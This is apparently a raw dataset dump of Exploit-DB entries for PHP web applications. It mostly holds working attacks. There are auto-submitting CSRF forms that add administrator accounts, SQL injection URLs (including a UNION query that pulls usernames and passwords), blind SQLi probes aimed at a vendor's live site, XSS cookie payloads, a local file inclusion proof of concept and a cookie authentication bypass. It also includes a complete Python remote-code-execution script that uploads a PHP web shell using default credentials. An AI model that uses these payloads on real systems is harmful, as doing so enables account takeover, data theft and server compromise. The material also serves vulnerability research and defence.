deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17092
Description: Allomani News 1.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2011-04-01
Author: AtT4CKxT3rR0r1ST

Exploit:
News 1.0 XSRF Vulnerability (Add Admin)
====================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Script         : http://allomani.com/en/news_script.html
####################################################################

===[ Exploit ]===

<form method="POST" name="form0" action="http://localhost/News/admin/index.php">
<input type="hidden" name="action" value="adduserok"/>
<input type="hidden" name="hash" value="e10adc3949ba59abbe56e057f20f883e"/>
<input type="hidden" name="username" value="webadmin"/>
<input type="hidden" name="password" value="123456"/>
<input type="hidden" name="email" value="Example@hotmail.com"/>
<input type="hidden" name="group_id" value="1"/>
<input type="hidden" name="useraddbutton" value="Add"/>
</form>

</body>
</html>
####################################################################
Exploit-DB #14049
Description: Allomani Songs & Clips 2.7.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2010-06-25
Author: G0D-F4Th3rG0D-F4Th3r

Exploit:
# Exploit Title: Allomani & Clips v2.7.0 - [CSRF] Add Admin Account
# Date:25 -06-2010
# Author: G0D-F4Th3rG0D-F4Th3r
# Software Link: http://allomani.com


####################################################
<html>
<body onload="javascript:fireForms()">
<form method="POST" name="form0" action="
http://www.site.com/[path]/admin/index.php">
<input type="hidden" name="action" value="adduserok"/>
<input type="hidden" name="username" value="admin2"/>
<input type="hidden" name="password" value="admin2123"/>
<input type="hidden" name="email" value="test@test.com"/>
<input type="hidden" name="group_id" value="1"/>
<input type="hidden" name="useraddbutton" value="?????"/>
</form>
</body>
</html>

#########################################################################
Greetz to : AL-MoGrM - dEvIL NeT - Bad hacker - v4-team members - And All My
Friends
#########################################################################
Exploit-DB #14111
Description: Allomani Super MultiMedia 2.5 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2010-06-29
Author: G0D-F4Th3r

Exploit:
# Exploit Title: Allomani - Super Multimedia v2.5 - [CSRF] Add Admin Account
# Date: 29-06-2010
# Author: G0D-F4Th3r
# Software Link: http://allomani.com
# Version: 2.5

####################################################
<html>
<body onload="javascript:fireForms()">
<form method="POST" name="form0" action="
http://www.site.com/[path]/admin/index.php">
<input type="hidden" name="action" value="adduserok"/>
<input type="hidden" name="username" value="test"/>
<input type="hidden" name="password" value="test"/>
<input type="hidden" name="email" value="test@test.com"/>
<input type="hidden" name="group_id" value="1"/>
<input type="hidden" name="useraddbutton" value="اضافة"/>
</form>
</body>
</html>

##################################################################################
Greetz to : AL-MoGrM - dEvIL NeT - Bad hacker - v4-team members - And All My
Friends
##################################################################################
Exploit-DB #17096
Description: Allomani Super MultiMedia Library 2.5.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2011-04-01
Author: AtT4CKxT3rR0r1ST

Exploit:
Super Multimedia Library 2.5.0 XSRF Vulnerability (Add Admin)
====================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Script         : http://allomani.com/en/media_script.html
####################################################################

===[ Exploit ]===

<form method="POST" name="form0" action="http://localhost/Super Multimedia Library/admin/index.php">
<input type="hidden" name="action" value="adduserok"/>
<input type="hidden" name="hash" value="e10adc3949ba59abbe56e057f20f883e"/>
<input type="hidden" name="username" value="webadmin"/>
<input type="hidden" name="password" value="123456"/>
<input type="hidden" name="email" value="Example@hotmail.com"/>
<input type="hidden" name="group_id" value="1"/>
<input type="hidden" name="useraddbutton" value="Add"/>
</form>

</body>
</html>
####################################################################
Exploit-DB #17094
Description: Allomani Web Links 1.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2011-04-01
Author: AtT4CKxT3rR0r1ST

Exploit:
Web Links 1.0 XSRF Vulnerability (Add Admin)
====================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Script         : http://allomani.com/en/weblinks_script.html
####################################################################

===[ Exploit ]===

<form method="POST" name="form0" action="http://localhost/Web Links/admin.php">
<input type="hidden" name="action" value="adduserok"/>
<input type="hidden" name="hash" value="e10adc3949ba59abbe56e057f20f883e"/>
<input type="hidden" name="username" value="webadmin"/>
<input type="hidden" name="password" value="123456"/>
<input type="hidden" name="email" value="Example@hotmail.com"/>
<input type="hidden" name="group_id" value="1"/>
<input type="hidden" name="useraddbutton" value="Add"/>
</form>

</body>
</html>
####################################################################
Exploit-DB #26618
Description: AllWeb Search 3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2005-11-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15587/info

AllWeb Search is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/index.php?search=[SQL]&type=web
Exploit-DB #12220
Description: Almnzm 2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-14
Author: NeX HaCkEr

Exploit:
# Title: almnzm 2.1 <= SQL Injection Vulnerability
# Author: NeX HaCkEr
# Published: 2010-04-14
# Contact= error_log@hotmail.com
#Script site :http://www.almnzm.com




[::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::]
>> #1 Vulnerability
Type = SQL Injection
Example URL = index.php?a=pages&id=3' and 1=0 UnIon aLL Select 1,2,concat(username,0x3a,password),4,5,6,7 from almnzm_customers--%20


[::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::]




[::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::]
>> Greetz
= Dr.DaShEr, DaMI, dr.kasber, RmZ AlJnooP =
[::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::]
Exploit-DB #9259
Description: almond Classifieds ads - Blind SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-27
Author: Moudi

Exploit:
###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] Almond Classifieds Ads (bSQL/XSS) Multiple Remote Vulnerabilities
==============================================================================

	[Â»] Script:             [ Almond Classifieds Ads Enterprise ]
	[Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.almondsoft.com  ]
	[Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ OFF ]
        [Â»] Price:              [ $390 ]
        [Â»] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit + LIVE : BLIND SQL INJECTION vulnerability ]===	
	
[Â»] http://www.site.com/patch/index.php?ct=manw_repl&md=add_form&replid=[BLIND]

[Â»] http://www.almondsoft.com/clnt/index.php?ct=manw_repl&md=add_form&replid=11438   and 1=1 <= TRUE
[Â»] http://www.almondsoft.com/clnt/index.php?ct=manw_repl&md=add_form&replid=11438   and 1=2 <= FALSE

[Â»] http://www.almondsoft.com/clnt/index.php?ct=manw_repl&md=add_form&replid=11438+AND SUBSTRING(@@version,1,1)=5
    => TRUE
[Â»] http://www.almondsoft.com/clnt/index.php?ct=manw_repl&md=add_form&replid=11438+AND SUBSTRING(@@version,1,1)=5
    => FALSE

===[ Exploit XSS + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/index.php?ct=evntcl&md=browse&mds=search&adsordtp=vote&city=[XSS]&page=2

[Â»]http://www.almondsoft.com/clnt/index.php?ct=evntcl&md=browse&mds=search&adsordtp=vote&city="><script>alert(document.cookie);</script>&page=2

Author: Moudi

###########################################################################

# milw0rm.com [2009-07-27]
Exploit-DB #33117
Description: AlmondSoft Classifieds Pro - 'gmap.php?addr' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-27
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/35816/info
  
AlmondSoft Almond Classifieds is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
AlmondSoft Almond Classifieds Enterprise, Pro, and WAP Editions are vulnerable. 

http://www.example.com/pro/gmap.php?addr="><script>alert(document.cookie);</script>
Exploit-DB #33116
Description: AlmondSoft Multiple Classifieds Products - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-06-27
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/35816/info
 
AlmondSoft Almond Classifieds is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
AlmondSoft Almond Classifieds Enterprise, Pro, and WAP Editions are vulnerable. 

http://www.example.com/wap/index.php?md=browse&ct=manw&city=Akron%20OH&page=1<script>alert[PII_REDACTED]52)</script>
http://www.example.com/clnt/index.php?ct=evntcl&md=browse&mds=search&adsordtp=vote&city="><script>alert(document.cookie);</script>&page=2
Exploit-DB #33115
Description: AlmondSoft Multiple Classifieds Products - 'index.php?replid' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-27
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/35816/info

AlmondSoft Almond Classifieds is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

AlmondSoft Almond Classifieds Enterprise, Pro, and WAP Editions are vulnerable. 

http://www.example.com/clnt/index.php?ct=manw_repl&md=add_form&replid=11438   and 1=1 <= TRUE
http://www.example.com/clnt/index.php?ct=manw_repl&md=add_form&replid=11438   and 1=2 <= FALSE
http://www.example.com/clnt/index.php?ct=manw_repl&md=add_form&replid=11438+AND SUBSTRING(@@version,1,1)=5=> TRUE
http://www.example.com/clnt/index.php?ct=manw_repl&md=add_form&replid=11438+AND SUBSTRING(@@version,1,1)=5=> FALSE
Exploit-DB #11995
Description: ALPHA CMS - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-01
Author: eidelweiss

Exploit:
########################################################
 
    fucking the Web Apps [attack edition]
 
 ____                  __                              __    __               
/\  _`\               /\ \      __                    /\ \__/\ \              
\ \ \L\_\__  __    ___\ \ \/'\ /\_\    ___      __    \ \ ,_\ \ \___      __  
 \ \  _\/\ \/\ \  /'___\ \ , < \/\ \ /' _ `\  /'_ `\   \ \ \/\ \  _ `\  /'__`\
  \ \ \/\ \ \_\ \/\ \__/\ \ \\`\\ \ \/\ \/\ \/\ \L\ \   \ \ \_\ \ \ \ \/\  __/
   \ \_\ \ \____/\ \____\\ \_\ \_\ \_\ \_\ \_\ \____ \   \ \__\\ \_\ \_\ \____\
    \/_/  \/___/  \/____/ \/_/\/_/\/_/\/_/\/_/\/___L\ \   \/__/ \/_/\/_/\/____/
                                                /\____/                       
                                                \_/__/                        
 __      __          __          ______                       Hack0wn! Security Project    
/\ \  __/\ \        /\ \        /\  _  \                          
\ \ \/\ \ \ \     __\ \ \____   \ \ \L\ \  _____   _____     ____ 
 \ \ \ \ \ \ \  /'__`\ \ '__`\   \ \  __ \/\ '__`\/\ '__`\  /',__\
  \ \ \_/ \_\ \/\  __/\ \ \L\ \   \ \ \/\ \ \ \L\ \ \ \L\ \/\__, `\
   \ `\___x___/\ \____\\ \_,__/    \ \_\ \_\ \ ,__/\ \ ,__/\/\____/
    '\/__//__/  \/____/ \/___/      \/_/\/_/\ \ \/  \ \ \/  \/___/
                                             \ \_\   \ \_\        
                                              \/_/    \/_/         


[+]Title	:	ALPHA CMS Local File Inclusion Vulnerability
[+]Version:	3.2
[+]Download:	http://sourceforge.net/projects/alpha-cms/files/
[+]Author:	eidelweiss
[+]Metode:	Local File Inclusion	
[+]CWE:		22

	[*]Special to Syabilla_putri (I miss u so much to)[*]

 [!]Thank`s Fly To:

[~] Jose Luis Gongora Fernandez a.k.a JosS - sp3x (securityreason)
[~] exploit-db team
[~] Inj3ct0r.com r0073r & 0x1D [Inj3ct0r Exploit Database] - [D]eal [C]yber


########################################################

Description:

ALPHA CMS is an A.P.I - free (Open Archiecture), MVC based Content Management System. 
ALPHA CMS architecture gives the ability to easily create advanced web pages, add-ons or even other CMS. 
ALPHA CMS is based on PHP, Smarty, JavaScript and MySQL.

	-=[ Vuln C0de ]=-

[!] File name: alpha.php

    // Create a new ALPHA CMS object
    $alpha = new ALPHA;
    
    // Include DTBS class
    require_once($alpha->Absolute_Path() . 'db.php');
    
    // Include CTRL class
    require_once($alpha->Absolute_Path() . 'controler.php');
    
    // Include UTL class
    require_once($alpha->Absolute_Path() . 'utilities.php');
    
    // Include STY class
    require_once($alpha->Absolute_Path() . 'smarty.php');


	-=[ Proof Of Concept ]=-

	http://127.0.0.1/alpha.php?Absolute_Path=[LFI]

######################=[E0F]=#############################
Exploit-DB #32102
Description: AlphAdmin CMS 1.0.5_03 - 'aa_login' Cookie Authentication Bypass
Type: webapps
Platform: php
Date: 2008-07-21
Author: Ciph3r

Exploit:
source: https://www.securityfocus.com/bid/30333/info

AlphAdmin CMS is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

An attacker can exploit this vulnerability to gain administrative access to the affected application; other attacks are also possible.

AlphAdmin CMS 1.0.5_03 is vulnerable; other versions may also be affected. 

javascript:document.cookie = "aa_login=1; path=/";
Exploit-DB #50297
Description: AlphaWeb XE - File Upload Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: php
Date: 2021-09-15
Author: Ricardo Ruiz

Exploit:
# Exploit Title: AlphaWeb XE - File Upload Remote Code Execution (RCE) (Authenticated)
# Date: 09/09/2021
# Exploit Author: Ricardo Ruiz (@ricardojoserf)
# Vendor website: https://www.zenitel.com/
# Product website: https://wiki.zenitel.com/wiki/AlphaWeb
# Example: python3 CVE-2021-40845.py -u "http://$ip:80/" -c "whoami"
# Reference: https://github.com/ricardojoserf/CVE-2021-40845

import requests
import base64
import argparse

# Default credentials, change them if it is necessary
admin_user = "admin"
admin_pass = "alphaadmin"
scripter_user = "scripter"
scripter_pass = "alphascript"


def get_args():
	parser = argparse.ArgumentParser()
	parser.add_argument('-u', '--url', required=True, action='store', help='Target url')
	parser.add_argument('-c', '--command', required=True, action='store', help='Command to execute')
	my_args = parser.parse_args()
	return my_args


def main():
	args = get_args()
	base_url = args.url
	url_main =   base_url + "/php/index.php"
	url_upload = base_url + "/php/script_uploads.php"

	command = args.command
	uploaded_file = "poc.php"
	url_cmd = base_url + "/cmd/" + uploaded_file + "?cmd=" + command

	login_authorization =  "Basic " + str(base64.b64encode((admin_user+':'+admin_pass).encode('ascii')).decode('ascii'))
	upload_authorization = "Basic " + str(base64.b64encode((scripter_user+":"+scripter_pass).encode('ascii')).decode('ascii'))

	headers_login = {
		"Authorization": login_authorization,
		"Cache-Control": "max-age=0"
	}

	headers_upload = {
		'Authorization': upload_authorization,
		'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="92"',
		'sec-ch-ua-mobile': '?0',
		'Upgrade-Insecure-Requests': '1',
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36',
		'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
		'Sec-Fetch-Site': 'same-origin',
		'Sec-Fetch-Mode': 'navigate',
		'Sec-Fetch-User': '?1',
		'Sec-Fetch-Dest': 'iframe',
		'Accept-Encoding': 'gzip, deflate',
		'Accept-Language': 'en-US,en;q=0.9',
	}

	files = {
		"userfile":(uploaded_file, "<?php if(isset($_REQUEST['cmd'])){ echo \"<pre>\"; $cmd = ($_REQUEST['cmd']); system($cmd); echo \"</pre>\"; die; }?>"),
	}

	s = requests.session()
	# Login as admin
	s.get(url_main, headers = headers_login)
	# Upload file
	upload = s.post(url_upload, files=files, headers = headers_upload)
	# Execute command
	cmd = s.post(url_cmd)
	print(cmd.text.replace("<pre>","").replace("</pre>",""))


if __name__ == "__main__":
    main()
Exploit-DB #13982
Description: Alpin CMS - 'e4700.asp?id' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-22
Author: CoBRa_21

Exploit:
##################################################################################################

Alpin CMS (e4700.asp) SQL Injection Vulnerability

##################################################################################################

Author : CoBRa_21

Script Home : http://www.alpin-cms-demo1.com/ http://www.alpin-cms.com/

Dork : null

##################################################################################################

SQL Injection:

http://localhost/[path]/e4700.asp?id=[PII_REDACTED] (SQL)

##################################################################################################

SEHiTLERiMiZE ALLAH'TAN RAHMET , AiLELERiNE SABIR ve SELAMETLER DiLERiM
Exploit-DB #13961
Description: Alpin CMS 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-21
Author: Th3 RDX

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
L0v3 To: R00T, R45c4l, Agent: 1c3c0ld, Big Kid, Lucky(www.indishell.in)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Gr33tz to ### Team I.C.A | www.IndiShell.in | Team I.C.W ###
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

##############################################################################
%//

----- [ Founder ] -----

Th3 RDX

----- [ E - mail ] -----

th3rdx@gmail.com


%\\
##############################################################################

##############################################################################
%//

----- [Title] -----

Alpin CMS (news.php) SQL Injection Vulnerability

----- [ Vendor ] -----

http://www.alpin-cms/

%\\
##############################################################################

##############################################################################
%//

----- [ Exploit (s) ] -----

Put [CODE] = SQL Injection Code

{e.g = e4100.asp?id=[PII_REDACTED]+and+1=0+ Union 2,3,4,5,6 (tables & column) }

[SQLi] http://server/alpin-cms/e4200.asp?id=[PII_REDACTED][CODE]

[SQLi] http://server/alpin-cms/e4100.asp?id=2[CODE]

%\\
##############################################################################

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Thanks To All: www.Exploit-db.com | wwww.inj3ct0r.com | www.hack0wn.com
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Bug discovered : 21 June 2010

finish(0);
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

#End 0Day#